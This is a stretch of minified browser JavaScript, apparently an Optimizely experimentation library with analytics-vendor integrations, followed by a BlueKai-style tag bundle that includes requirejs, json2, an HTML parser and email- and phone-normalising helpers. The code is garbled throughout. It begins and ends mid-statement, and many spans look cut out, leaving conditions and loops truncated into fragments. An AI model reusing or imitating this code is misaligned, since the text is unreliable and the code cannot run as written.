kb(){$("html").unbind("touchstart",mb);$("html").unbind("mousedown touchend",lb);$("html").unbind("touchmove",jb)}function mb(){$("html").bind("touchend",lb);$("html").bind("touchmove",jb)}function nb(){var a=document.location.href,b=E("pageview_revenue_goals");b&&0 + Dual licensed under GPLv2 & MIT +*/ +function Ha(){}var Hb=Ha,Ib={extend:function(a,b){for(var c in b)-1!=="browser cpu device engine os".indexOf(c)&&0===b[c].length%2&&(a[c]=b[c].concat(a[c]));return a},has:function(a,b){if("string"===typeof a)return-1!==b.toLowerCase().indexOf(a.toLowerCase())},z:function(a){return a.toLowerCase()}}; +function Jb(){for(var a,b=0,c,d,e,f,g,j,p=arguments;b'+a+"";$("#optimizely-loading").remove();$("body").append(b)}}var Dc=E("preview_host");function Ec(a){a=a||{};if(v){a&&a.sVariable&&(Fc=a.sVariable);var b=Fc||("undefined"!==typeof window.s?window.s:l);if(b)if(Gc){a=Hc;if(a!==l&&b)try{C("Integrator","Fixing SiteCatalyst referrer to %s",a),b.referrer=String(a)}catch(c){C("Integrator","Error setting SiteCatalyst referrer: %s",c)}C("Integrator","Tracking with SiteCatalyst");G(Ic(),function(a){var c=K(a),a=Jc(c,a,100,100,25,k),f=a.key+": "+a.value,a=[],g=O(c,"site_catalyst_evar")||l,c=O(c,"site_catalyst_prop")||l;g!==l&&a.push("eVar"+g); +c!==l&&a.push("prop"+c);G(a,function(a){C("Integrator","Setting SiteCatalyst %s='%s'",a,f);b[a]=f})})}else Kc=k;else H("Integrator","Error with SiteCatalyst integration: 's' variable not defined")}}function Lc(a){a=db(a)?Number(a):-1;if(-1!==[1,2,3].indexOf(a))Mc=a;else return Mc} +function Nc(){if(v){var a=Hc;if(a!==l)try{C("Integrator","Fixing _gaq._setReferrerOverride with %s",a),_gaq.push(["_setReferrerOverride",a])}catch(b){C("Integrator","Error setting Google Analytics referrer: %s",b)}G(Ic(),function(a){var b=K(a);if(O(b,"chartbeat")){var c=Oc;Oc="";var g=Jc(b,a,10,10,5,m);Oc=c;c=lc(a);Pc=g.key+": "+String(c);try{C("Integrator","Calling _cbq.push"),_cbq.push(["_optlyx",Pc])}catch(j){H("Integrator","Error sending Chartbeat data for "+P(b))}}if(O(b,"crazyegg")){g=Jc(b, +a,100,100,15,m);try{C("Integrator","Defining CE_SNAPSHOT_NAME"),window.CE_SNAPSHOT_NAME=g.key+": "+g.value}catch(p){H("Integrator","Error sending CrazyEgg data for "+P(b))}}if(oc(b)){g=oc(b);c=0;Q(g)&&(c=g.slot||c);var g=c,c=oc(b),o="";Q(c)&&(o=c.tracker||o);c=o;o=Jc(b,a,28,24,5,k);try{var t="";""!==c&&(t=c+".");C("Integrator","Calling _gaq._setCustomVar for slot %d and scope %d",g,Mc);_gaq.push([t+"_setCustomVar",g,o.key,o.value,Mc])}catch(u){H("Integrator","Error sending Google Analytics data for "+ +P(b))}}if(E("kissmetrics")){g=Jc(b,a,100,100,15,k);c={};c[g.key]=g.value;try{C("Integrator","Calling _kmq.set"),_kmq.push(["set",c])}catch(F){H("Integrator","Error sending KISSmetrics data for "+P(b))}}if(O(b,"mixpanel")){g=Jc(b,a,100,100,15,m);c={};c[g.key]=g.value;try{C("Integrator","Calling mixpanel.push"),mixpanel.push(["register",c])}catch(W){H("Integrator","Error sending Mixpanel data for "+P(b))}}if(O(b,"moat")){g=Jc(b,a,100,100,15,m);g=g.key+": "+g.value;try{C("Integrator","Calling optimizelyMoat.push"), +optimizelyMoat.push(g)}catch(Ga){H("Integrator","Error sending Moat data for "+P(b))}}if(qc(b,"acct_no")){g=qc(b,"acct_no");c=qc(b,"url");o=Jc(b,a,28,24,5,k);a=c+"/hit.xiti?s="+g+"&abmvc="+(b+"["+encodeURIComponent(o.key)+"]-0-"+a+"["+encodeURIComponent(o.value)+"]")+"&type=mvt";try{C("Integrator","Sending AT Internet log call for account %s",g),qb(a,l)}catch(S){H("Integrator","Error sending AT Internet data for "+P(b))}}});a=y("optimizelyChartbeat")||"";try{if(a&&Pc!=a&&(C("Integrator","Calling _cbq.push for referral"), +_cbq.push(["_optlyr",a])),Pc!=a)C("Integrator","Set new Chartbeat referral cookie."),A("optimizelyChartbeat",Pc)}catch(c){H("Integrator","Error sending Chartbeat referral for "+a)}Gc=k;Qc&&(Rc(),Qc=m);Kc&&(Ec(),Kc=m)}} +function Sc(){if(window.ClickTaleContext){try{window.ClickTaleContext.getAggregationContextAsync("1",function(a){a.Location&&window.optimizely.push(["overrideUrl",a.Location]);for(var b in a.PageEvents){var e=a.PageEvents[b][2].match(/x[0-9]+=[0-9_]+/g);C("Integrator","Playback ClickTale Integration - %s",e);for(b=0;b=Number(a)?d.push(hc(f[b])[a]):d.push(a)}),d=d.join("_");else if(!b&&1==e.length&&256>=Number(e[0])){var c=String,e=e[0],g=fc(a),j=l;try{j=g[e]}catch(p){}d=c(j)}else 1==e.length?d= +e[0]:H("API","Error: could not bucket user. Unknown arguments.");d&&(b&&gc(a,d)?(b=d,c=gc(a,b),ud[a]=ud[a]||{},ud[a][c]=b,H("Distributor","Preferring variation partial "+b+" of section "+c+" of experiment "+a),a=vd(a),1===a.length&&wd(a[0],"api.bucketUser",k)):wd(d,"api.bucketUser",k));hd()}function xd(a){a&&"tracking"===a||(H("API","Optimizely disabled"),r=m);v=m}function yd(){H("API","Finalizing API.");md();Zc=k} +function zd(a,b,c){var d=[],e=b,c=Q(c)?c:m;J(b)&&(e=b[0],d=Ad(b,1));(a=a[e])?(H("API",'Called function "'+e+'"'),a.apply(l,d)):c||H("API",'Error for unknown function "'+e+'"');Bd()}function Cd(a,b){Zc?H("API","Error: can't add custom tags after Optimizely loads"):($c=$c||{},2==arguments.length?$c[a]=b:1==arguments.length&&$.extend(k,$c,a))} +function Dd(a,b){var c=Zb(a)||a,b=Q(b)?b:k,d=$b()[c];d?d.audience_id?T.M(d.audience_id):d.dimension_id?T.C(d.dimension_id,l):Ed(c,b):H("API","Unable find segment for: "+c)}function Fd(){var a=I($b());G(a,function(a){Dd(a,m)});Gd()} +function md(){Hd={};Id={};Jd={};G(xb(),function(a){var b=K(a);Hd[b]=a.split("_");Id[b]=lc(a);Jd[b]=mc(a)});V={};var a=E("audiences");a&&(V.audiences=a);V.experiments={};V.sections={};V.segments={};V.state={};V.variations={};V.visitor={};V.customTags=$c;V.thirdParty=q.get("thirdParty")||{};for(var b=Xb(),a=0;aa&&(b="less then minimum.",a=7776E3);H("API",(b&&"Days argument "+b)+" Cookie expiration set to "+a+" seconds.");Da=a;Pd()}function Qd(){Ca=k} +function Rd(){y("optimizelyReportableFix")?H("API","skipping because cookie is set"):(G(E("audiences"),function(a){Qb(a)&&(H("API","Removing from reportable audience: "+a),T.M(a))}),A("optimizelyReportableFix","1",7776E3))}function Sd(a){var b=Pa();a?A("optimizelyPPID",a,Da):Bb("optimizelyPPID",Cb||Db||Eb);a!==b&&(H("Plan","Resetting visitor buckets"),Td={},rd={},sd={},U=[],hd());H("API","Set PPID to "+a)}var V={},Ud={},Sa=l,jd=m,dd=[],kd=[],Hd={},Id={},Jd={},T=l;function fd(a,b){var b=b===k,c,d=l;G(U,function(b){a==b.q&&(d=b.id)});if((c=d)&&0Math.floor(1E4*na(f+a,0)))return H("Distributor","Permanently ignoring experiment "+ +a+"("+e/100+"% likelihood)"),Vd(a),m;e=c;ud[a]!==i&&(H("Distributor","Taking into account bucketUser variations for experiment "+a),e=vd(a));var f=e,g=[],j=O(a,"variation_weights")||{};G(f,function(a){g.push(j[a])});f=Wd(a,g);e=e[f];H("Distributor","Picked variation "+e+" [index "+f+" of "+c.length+"]");wd(e,"distributor");return k}function Xd(a,b){b=b||{};H("Distributor","Testing conditionally activated experiment for conditions: "+a);Ud[a]||(Yd(a,b),Zc&&md())} +function Yd(a,b){function c(){ad(a,b);p.isActive=w(L.concat(M),a);H("Distributor","Activating conditionally activated experiment "+a)}var d=O(a,"conditional_code"),e=k,f;try{var g=eval("(function() {return "+("("+d+")")+";})()");"function"===typeof g&&(e=m,f=g)}catch(j){}var p={isActive:m,experimentId:a};if(e){if(e={objectType:"experiment",enabledStatus:b.enabledStatus},b.force||!cd(a)||ed(a,e)){var o=function(){cd(a)&&(Zd(0,{value:d})||g)?c():setTimeout(o,50)};o();H("Distributor","Set up conditional polling for "+ +a);Ud[a]=k}}else try{f(c,p),H("Distributor","Set up conditional callback for "+a),Ud[a]=k}catch(t){H("Distributor","Error running conditional callback function for "+a)}}function Wd(a,b){var c=b.length;if(0===c)return l;if(1===c)return 0;for(var d=0,e=0;e]*)\}\}/g,je=/^data\.visitor\.params\.(.*)$/;function le(a){var b=a||me;H("Segmenter","Loading segments cookie.");if(a=y("optimizelySegments")){try{a=fa(a)}catch(c){a={}}G(a,function(a,c){var d=$b()[a];H("Segmenter","Segments cookie contains segment id: "+a);d&&d.audience_id?b.m(d.audience_id):d&&d.dimension_id?b.C(d.dimension_id,c,m):X[a]=c})}H("Segmenter","Evaluating all segments.");for(var a=I($b()),d=0;d<\/script>'),1!==$("#"+d).length&&h(Error("Document.write failed to append script")))}else h(Error("Not safe to attempt document.write"))}catch(e){try{var f= +new XMLHttpRequest;f.open("GET",a,m);f.onload=function(){eval(f.responseText)};f.onerror=function(){h(Error())};f.send()}catch(g){C("Common","Failed to load %s synchronously",a),c()}}else c()}function C(a,b,c){var d=window.console;if(za&&d&&d.log){var e=Ad(arguments,1);e[0]="Optimizely / "+a+" / "+b;Function.prototype.apply.call(d.log,d,e)}}function Ld(a){try{return decodeURIComponent(a)}catch(b){return a}}function Ad(a,b){return Array.prototype.slice.call(a,b||0,a.length)};function H(a,b,c){xe.push({pa:new Date,na:a,message:b,ea:c||m});ye&&Bd()}function ze(){za=k}function Ae(){Aa=za=k}function Bd(){za&&(G(xe,function(a){if(!a.Ia&&(!a.ea||a.ea===Aa)){var b=+a.pa;C(a.na,a.message+(" [time "+(Be?b-Be:0)+" +"+(Ce?b-Ce:0)+"]"));Ce=b;Be||(Be=b);a.Ia=k}}),ye=k)}var Ce=l,Be=l,xe=[],ye=m;var De=/\s*;\s*/,Ee=/^([^=]+)=?(.*)$/;function y(a){var b=[];G(Fe(),function(c){a===c.name&&b.push(Ld(c.value))});if(0===b.length)return l;1'+c.replace(/([\f\n\r\t\\'"])/g,"\\$1")+'");', +b:"body",type:"global css (experiment "+a+")",l:k});d&&Ve(d,f,j)});G(d,function(a){for(var b=jc(a),b=b.split("\n"),c=[],d=k,e=0,g=b.length;e0){d=We(t,qd,u);d=Ue(d)}if(d&&p.length>0){d=We(p,o,u);d=!Ue(d)}}else d&&c.push(p)}}b= +c.join("\n");Ve(b,f,j,a)});c=[];c.push.apply(c,f);c.push.apply(c,g);c.push.apply(c,j);c.push.apply(c,e);Se.push.apply(Se,c);Xe()}} +function Xe(){var a=m;Ye=l;for(H("Evaluator",Ze+" times waited");!a&&0body{display:none;visibility:hidden;}");H("Evaluator","Hiding body before redirect");var d= +ge.test(a)||fe.test(a)||he.test(a),e=/_keep_body_hidden=(\S+)/.test(a);d||e?H("Evaluator","Standard redirect detected - Will not unhide body."):setTimeout(function(){document.body&&(document.body.style.visibility="visible",document.body.style.display="block",H("Evaluator","Unhiding body -- did not redirect"),R("bodyUnhidden"))},1700)}eval(a)}catch(f){c=za,za=k,H("Evaluator","Error: "+f.message),H("Evaluator","Code: "+a),za=c,H("Evaluator","Failed to run code: "+f.message)}} +function Re(a,b,c){c=c||{};if(!bf[a]||!bf[a][b]){var d=function(){fb(b,"custom",c)},e=$(a);if(0Number(c[e]))return 1}else return-1;return 0}function kf(a,b){var c=b.value,d=a.id,e=a.version,f=a.mobileId;return f&&"unknown"!==f?(H("Condition",f,k),"mobile"===c||c===f):0===c.indexOf(d)?0===jf(e,c.substr(d.length)):m} +function Zd(a,b){var c=b.value;if(c===i)return k;try{return Boolean(eval(c))}catch(d){return m}}function lf(a,b){return mf(b.value,b.match,a)}function nf(a,b){return mf(b.value,b.match,a)} +function of(a,b){var c=b.value;switch(b.match){case "exact":if(a==c&&""!=a)return k;break;case "prefix":if(0==a.indexOf(c))return k;break;case "regex":try{var d=RegExp(c)}catch(e){break}if(d.test(a))return k;break;case "cidr":try{var f;a:{var g=new pf(c),j=qf(a);j===l&&h(Error("Invalid ip: "+a));for(c=0;4>c;c++)if((j[c]&g.K[c])!==g.L[c]){f=m;break a}f=k}return f}catch(p){}}return m}function rf(a,b){var c=b.value;return"any"===c||0===a.indexOf(c)} +function sf(a,b){var c=b.value.split("|"),d=$.trim(c[0]),e=$.trim(c[1]),f=$.trim(c[2]),g=$.trim(c[3]);switch(c.length){case 1:if(B(a.country)===d)return k;break;case 2:if(B(a.region)===e&&B(a.country)===d)return k;break;case 3:if(B(a.city)===f&&(B(a.region)===e||""===e)&&B(a.country)===d)return k;break;case 4:if(B(a.continent)===g)return k}return m}function tf(a,b){return mf(b.value,b.match,a)} +function uf(a,b){var c=b.value,d=b.match;H("Condition","Testing referrer "+a+" against "+c+" ("+d+")",k);return vf(a,c,d)}function wf(a){return!!a}function Ue(a){var b=Z.u();return N(a.values,da(hf,b))}function hf(a,b){var c=b.value,d=b.match;H("Condition","Testing URL "+a+" against "+c+" ("+d+")",k);return vf(a,c,d)}function xf(a,b){switch(b.value){case "new":if("returning"===a)return m;break;case "returning":return"returning"===a}return k} +function Le(a,b){var c={and:function(b){return te(b,da(Le,a))},or:function(b){return N(b,da(Le,a))},not:function(b){1!==b.length&&h(Error('"not" argument too long: '+ia(b)));return!Le(a,b[0])}};if(J(b)){if(b[0]in c)return c[b[0]](b.slice(1));h(Error("Not an operator"))}var c=b.dimension_id,d=Ub(c),e=b.value;d||h(Error("No dimension type for dimension: "+c));var f=yf[d];f||h(Error("Unknown dimension type: "+d));d=i;if(a.e.hasOwnProperty(c))d=a.e[c];else try{var g=Ub(c)||"",j,p;E("dimensions",c)||h(Error("Unable to find dimension for id: "+ +c));"custom_dimension"===g&&h(Error("calculateDimensionValue called on custom dimension "+c));(j={browser:n(Z.g,Z),browser_version:n(Z.g,Z),campaign:da(re,"campaign"),cookies:n(Z.T,Z),custom_tag:n(Z.U,Z),device:n(Z.v,Z),event:n(Z.ja,Z),first_session:n(Z.xa,Z),has_ppid:n(Z.Da,Z),ip:n(Z.I,Z),language:n(Z.H,Z),list:n(Z.V,Z),location:n(Z.w,Z),query:n(Z.h,Z),platform:n(Z.aa,Z),referrer:n(Z.J,Z),segment:n(Z.Ea,Z),source_type:da(re,"source_type"),third_party_dimension:n(Z.Ba,Z),time_and_day:n(Z.getDate, +Z),url:n(Z.u,Z),visitor:n(Z.Y,Z)}[g])&&(p=j(Vb(c)));H("Visitor","Got dimension ("+g+") value "+c+": "+ia(p));d=p}catch(o){H("Visitor","Error: "+o.message)}return f(d,{value:e,match:b.match||"exact"})} +function cd(a){var b=k;!O(a,"conditions")&&!rc(a,"add_condition")?(b=[rc(a,"audience_id")],b[0]||(b=O(a,"audiences")||[]),b=te(b,function(a){a=Pb(a);return!a.conditions?k:zf(a.conditions)})):(O(a,"uses_geotargeting")||rc(a,"uses_geotargeting"))&&(b=Af.ip(l)||Af.location(l));b||H("Condition","Not ready to test (geotargeting): "+a);return b}function zf(a){if(J(a))return te(a.slice(1),zf);var b=Ub(a.dimension_id)||"";return(b=Af[b])?b(a):k} +var gf={browser:function(a){var b=Z.g();return N(a.values,function(a){return kf(b,{value:a})})},code:function(a){return Zd(0,a)},cookies:function(a){for(var b=a.names||[],a=a.values||[],c,d=0;d=jf(a.version,c[1]):0===jf(a.version,c[0]):m},referrer:uf,segment:wf,source_type:function(a,b){return b.value===a},time_and_day:function(a,b){var c,d,e;c=b.value;e=c.split("_");3!==e.length&&h(Error("Invalid time and day string "+c));c=e[0];d=e[1];e=e[2].split(",");c=ef(c);d=ef(d);var f=60*a.getHours()+a.getMinutes(),g="sunday monday tuesday wednesday thursday friday saturday".split(" ")[a.getDay()];return f>=c&& +f<=d&&-1!==$.inArray(g,e)},third_party_dimension:function(a,b){return J(a)?N(a,da(mf,b.value,b.match)):mf(b.value,b.match,a)},url:hf,visitor:xf,has_ppid:aa()},Af={ip:function(){R("checkGeo");return!!Z.I()},location:function(){var a=Z.w();R("checkGeo");return!!(a&&a.continent||a.country||a.region||a.city)},list:function(a){a=a.dimension_id;R("checkGeo");return Z.V(Vb(a)||"")!==l}}; +function mf(a,b,c){var d=Q(c)&&c!==l,e=Q(a)&&a!==l;switch(b||(e?"exact":"exists")){case "exists":return d;case "exact":return d&&String(c)===a;case "substring":return d&&-1!==String(c).indexOf(a);case "regex":try{return e&&d?Boolean(String(c).match(RegExp(a))):m}catch(f){return m}case "range":return a=a.split(":"),b=parseFloat(a[1]),c=parseFloat(c),c>=parseFloat(a[0])&&c<=b;default:return m}};function pf(a){this.oa=$.trim(a);a=Bf(this.oa);a===l&&h(Error("Invalid CIDR specification"));this.L=a.L;this.K=a.K}function Bf(a){a=a.split("/");if(2!=a.length)return l;var b=parseInt(a[1],10);if(isNaN(b)||0>b||32b||32d;d++)c[d]=0;for(var e=Math.floor(b/8),d=0;de&&(c[e]=Cf[b%8]);b=c}for(c=0;4>c;c++)a[c]&=b[c];return{L:a,K:b}} +function qf(a){a=a.split(".");if(4!=a.length)return l;for(var b=[],c=0;4>c;c++){var d;d=a[c];if(3e||255loading')}}else if(ya&&!wa)Cc("This preview link has expired. Please return to Optimizely and preview again to get a new link.");else{Sa=q.get("asyncInfo")||l;j=document.location.hostname; +var f=j.split("."),g=j,o=f[f.length-1];2Number(f))&&(r=m);if(r){j=y("optimizelyEndUserId");Wa=j!==i&&j!==l;a:{j="googlebot;yahoo! slurp;bingbot;bingpreview;msnbot;keynote;ktxn;khte;gomezagent;alertsite;yottaamonitor;pingdom.com_bot;aihitbot;baiduspider;adsbot-google;mediapartners-google".split(";"); +f=navigator.userAgent;f=f.toLowerCase();for(g=0;g1&&b.indexOf("_")===-1){u[c]=u[c]||{};u[c][a]=b}else b!=="0"?wd(b,"cookie")||(Td[a]=b):Vd(a)});G(u,function(a,b){var c;a:{c=[];for(var d=ec(a),e=0;e0?wd(c, +"cookie"):Vd(a)})}le();zb=(y("optimizelyRedirect")||"|").split("|")[0];j=y("optimizelyReferrer");j!==l&&(Hc=0==j.length?"":j,A("optimizelyReferrer",""));j=me;H("Visitor","Initializing");(f=y("optimizelyAudiences"))&&0=0;g--){for(e=c[g];" "===e.charAt(0);){e=e.slice(1);}if(0===e.indexOf(b)){f=e.slice(b.length);break;}}return f;}function eraseCookie(a){var b="",c=-1;a&&createCookie(a,b,c);}var requirejs,require,define;!function(a){function b(a,b){var c,d,e,f,g,h,i,j=b&&b.split("/"),k=m.map,l=k&&k["*"]||{};if(a&&"."===a.charAt(0)&&b){for(j=j.slice(0,j.length-1),a=j.concat(a.split("/")),g=0;i=a[g];g++){if("."===i){a.splice(g,1),g-=1;}else{if(".."===i){if(1===g&&(".."===a[2]||".."===a[0])){return !0;}g>0&&(a.splice(g-1,2),g-=2);}}}a=a.join("/");}if((j||l)&&k){for(c=a.split("/"),g=c.length;g>0;g-=1){if(d=c.slice(0,g).join("/"),j){for(h=j.length;h>0;h-=1){if(e=k[j.slice(0,h).join("/")],e&&(e=e[d])){f=e;break;}}}if(f=f||l[d]){c.splice(0,g,f),a=c.join("/");break;}}}return a;}function c(b,c){return function(){return j.apply(a,o.call(arguments,0).concat([b,c]));};}function d(a){return function(c){return b(c,a);};}function e(a){return function(b){k[a]=b;};}function f(b){if(l.hasOwnProperty(b)){var c=l[b];delete l[b],n[b]=!0,i.apply(a,c);}if(!k.hasOwnProperty(b)){throw new Error("No "+b);}return k[b];}function g(a,c){var e,g,h=a.indexOf("!");return -1!==h?(e=b(a.slice(0,h),c),a=a.slice(h+1),g=f(e),a=g&&g.normalize?g.normalize(a,d(c)):b(a,c)):a=b(a,c),{f:e?e+"!"+a:a,n:a,p:g};}function h(a){return function(){return m&&m.config&&m.config[a]||{};};}var i,j,k={},l={},m={},n={},o=[].slice;i=function(b,d,i,j){var m,o,p,q,r,s,t=[];if(j=j||b,"function"==typeof i){for(d=!d.length&&i.length?["require","exports","module"]:d,s=0;sa?"0"+a:a;}function quote(a){return escapable.lastIndex=0,escapable.test(a)?'"'+a.replace(escapable,function(a){var b=meta[a];return"string"==typeof b?b:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4);})+'"':'"'+a+'"';}function str(a,b){var c,d,e,f,g,h=gap,i=b[a];switch(i&&"object"==typeof i&&"function"==typeof i.toJSON&&(i=i.toJSON(a)),"function"==typeof rep&&(i=rep.call(b,a,i)),typeof i){case"string":return quote(i);case"number":return isFinite(i)?String(i):"null";case"boolean":case"null":return String(i);case"object":if(!i){return"null";}if(gap+=indent,g=[],"[object Array]"===Object.prototype.toString.apply(i)){for(f=i.length,c=0;f>c;c+=1){g[c]=str(c,i)||"null";}return e=0===g.length?"[]":gap?"[\n"+gap+g.join(",\n"+gap)+"\n"+h+"]":"["+g.join(",")+"]",gap=h,e;}if(rep&&"object"==typeof rep){for(f=rep.length,c=0;f>c;c+=1){"string"==typeof rep[c]&&(d=rep[c],e=str(d,i),e&&g.push(quote(d)+(gap?": ":":")+e));}}else{for(d in i){Object.prototype.hasOwnProperty.call(i,d)&&(e=str(d,i),e&&g.push(quote(d)+(gap?": ":":")+e));}}return e=0===g.length?"{}":gap?"{\n"+gap+g.join(",\n"+gap)+"\n"+h+"}":"{"+g.join(",")+"}",gap=h,e;}}"function"!=typeof Date.prototype.toJSON&&(Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null;},String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(){return this.valueOf();});var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b"," ":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;"function"!=typeof JSON.stringify&&(JSON.stringify=function(a,b,c){var d;if(gap="",indent="","number"==typeof c){for(d=0;c>d;d+=1){indent+=" ";}}else{"string"==typeof c&&(indent=c);}if(rep=b,!b||"function"==typeof b||"object"==typeof b&&"number"==typeof b.length){return str("",{"":a});}throw new Error("JSON.stringify");}),"function"!=typeof JSON.parse&&(JSON.parse=function(text,reviver){function walk(a,b){var c,d,e=a[b];if(e&&"object"==typeof e){for(c in e){Object.prototype.hasOwnProperty.call(e,c)&&(d=walk(e,c),void 0!==d?e[c]=d:delete e[c]);}}return reviver.call(a,b,e);}var j;if(text=String(text),cx.lastIndex=0,cx.test(text)&&(text=text.replace(cx,function(a){return"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4);})),/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""))){return j=eval("("+text+")"),"function"==typeof reviver?walk({"":j},""):j;}throw new SyntaxError("JSON.parse");});}(),define("../vendor/json2",function(){}),define("../src/bootstrap",[],function(){var a=function(a,b){var c,d=b.split("."),e=a;c=d.length;for(var f=0;c>f;f++){"undefined"==typeof e[d[f]]&&(e[d[f]]={}),e=e[d[f]];}return e;};"undefined"==typeof BKTAG&&a(window,"BKTAG"),BKTAG.ns=a;var b={createFrame:function(a){var b=document.createElement("iframe");return b.setAttribute("name",a),b.setAttribute("id",a),b.setAttribute("title","bk"),b.style.border="0px",b.style.width="0px",b.style.height="0px",b.style.display="none",b.style.position="absolute",b.style.clip="rect(0px 0px 0px 0px)","function"==typeof bk_frameLoad&&(b.onload=bk_frameLoad),b.src="about:blank",b;},checkFrame:function(a){var c="__bkframe";if("undefined"==typeof frames[c]||"undefined"==typeof document.getElementById(c)){var d=b.createFrame(c),e=document.getElementsByTagName("body")[0];e&&e.appendChild(d);}"function"==typeof a&&a();}};return b;}),define("../vendor/htmlparser",[],function(){var a=function(a){for(var b={},c=a.split(","),d=0;d\s]+))?)*)\s*(\/?)>/,endTag:/^<\/(\w+)[^>]*>/,attr:/(\w+)(?:\s*=\s*(?:(?:"((?:\\.|[^"])*)")|(?:'((?:\\.|[^'])*)')|([^>\s]+)))?/g,empty:a("area,base,basefont,br,col,frame,hr,img,input,isindex,link,meta,param,embed"),block:a("address,applet,blockquote,button,center,dd,del,dir,div,dl,dt,fieldset,form,frameset,hr,iframe,ins,isindex,li,map,menu,noframes,noscript,NOSCRIPT,object,ol,p,pre,script,SCRIPT,table,tbody,td,tfoot,th,thead,tr,ul"),inline:a("a,abbr,acronym,applet,b,basefont,bdo,big,br,button,cite,code,del,dfn,em,font,i,iframe,img,input,ins,kbd,label,map,object,q,s,samp,script,SCRIPT,select,small,span,strike,strong,sub,sup,textarea,tt,u,var"),closeSelf:a("colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr"),fillAttrs:a("checked,compact,declare,defer,disabled,ismap,multiple,nohref,noresize,noshade,nowrap,readonly,selected"),special:a("script,SCRIPT,style"),one:a("html,head,body,title"),structure:{link:"head",base:"head"},htmlParser:function(a,c){function d(a,d,f,g){if(b.block[d]){for(;i.last()&&b.inline[i.last()];){e("",i.last());}}if(b.closeSelf[d]&&i.last()==d&&e("",d),g=b.empty[d]||!!g,g||i.push(d),c.start){var h=[];f.replace(b.attr,function(a,c){var d=arguments[2]?arguments[2]:arguments[3]?arguments[3]:arguments[4]?arguments[4]:b.fillAttrs[c]?c:"";h.push({name:c,value:d,escaped:d.replace(/(^|[^\\])"/g,'$1\\"')});}),c.start&&c.start(d,h,g);}}function e(a,b){if(b){for(var d=i.length-1;d>=0&&i[d]!=b;d--){}}else{var d=0;}if(d>=0){for(var e=i.length-1;e>=d;e--){c.end&&c.end(i[e]);}i.length=d;}}var f,g,h,i=[],j=a;for(i.last=function(){return this[this.length-1];};a;){if(g=!0,a=b.leftTrim(a),i.last()&&b.special[i.last()]){var k=new RegExp("","i"),f=a.search(k),l=a.substring(0,f);l.length>0&&(c.chars&&c.chars(l),a=a.replace(l,"")),a=a.replace(k,""),e("",i.last());}else{if(0==a.indexOf(""),f>=0&&(c.comment&&c.comment(a.substring(4,f)),a=a.substring(f+3),g=!1)):0==a.indexOf("f?a:a.substring(0,f);a=0>f?"":a.substring(f),c.chars&&c.chars(m);}}if(a==j){throw"Parse Error: "+a;}j=a;}e();},htmlToDom:function(a,c){var d=[],e=c.documentElement||c.getOwnerDocument&&c.getOwnerDocument()||c;if(!e&&c.createElement&&function(){var a=c.createElement("html"),b=c.createElement("head");b.appendChild(c.createElement("title")),a.appendChild(b),a.appendChild(c.createElement("body")),c.appendChild(a);}(),c.getElementsByTagName){for(var f in b.one){b.one[f]=c.getElementsByTagName(f)[0];}}var g=b.one.body;b.htmlParser(a,{start:function(a,e,f){if(b.one[a]){return void (g=b.one[a]);}for(var h=c.createElement(a),i=0;i0?d[d.length-1]:b.one.body;},chars:function(a){if(window.addEventListener){var b=c.createTextNode(a);g.appendChild(b);}else{g.text=a;}},comment:function(){}});}};return b;}),define("../src/utils",["../src/bootstrap","../vendor/htmlparser"],function(a,b){var c={getKwds:function(){var a,b=document.getElementsByTagName("meta"),c=[],d=b.length;for(a=0;d>a;a++){b[a].name&&"keywords"===b[a].name.toLowerCase()&&""!==b[a].content&&c.push(b[a].content);}return c.join(",");},getMeta:function(a){for(var b=document.getElementsByTagName("meta"),c=b.length,d=0;c>d;d++){var e=b[d];if(e.name.toLowerCase()===a.toLowerCase()&&""!==e.content){return e.content;}}return null;},scriptWithOnload:function(a,b){var c=document.createElement("script");return c.src=a,c.onloadDone=!1,c.onload=function(){c.onloadDone||(c.onloadDone=!0,"function"==typeof b&&b());},c.onreadystatechange=function(){("loaded"===c.readyState||"complete"===c.readyState)&&!c.onloadDone&&(c.onloadDone=!0,"function"==typeof b&&b());},c;},isMobile:function(){var a=!1,b=["Mobile","Tablet","Handheld","Android","iPhone","Kindle","Silk","Nokia","Symbian","BlackBerry"];for(var c in b){if(-1!==navigator.userAgent.indexOf(b[c])){a=!0;break;}}return a;},isDebug:function(){var a=!1;return"undefined"!=typeof window.location&&"undefined"!=typeof window.location.search&&-1!==window.location.search.indexOf("debug=1")&&(a=!0),a;},addEvent:function(a,b,c){a.addEventListener?a.addEventListener(b,c,!1):a.attachEvent("on"+b,function(b){return c.call(a,b);});},normalizeEmail:function(a){var b=[],c=[],d=a;try{d=a.trim().toLowerCase(),b=d.split("@"),c=b[0],c.indexOf("+")>-1&&(c=c.substr(0,c.indexOf("+"))),d=c+"@"+b[1];}catch(e){}return d;},normalizePhone:function(a){var b=a;try{b=b.trim().replace(/^[0]+/g,"").replace(/\D/g,"");}catch(c){}return b;},trim:function(){return this.replace(/^\s+|\s+$/g,"");}};return"function"!=typeof String.prototype.trim&&(String.prototype.trim=c.trim),window.BKTAG.htmlToDom=b.htmlToDom,window.BKTAG.util=c,c;}),define("../vendor/cookies",function(){}),define("../vendor/numis",[],function(){var a={java:function(a){for(var b=31,c=0,d=0,e=0;e16&&(c=j(c,8*a.length));for(var d=Array(16),e=Array(16),f=0;16>f;f++){d[f]=909522486^c[f],e[f]=1549556828^c[f];}var g=j(d.concat(h(b)),512+8*b.length);return 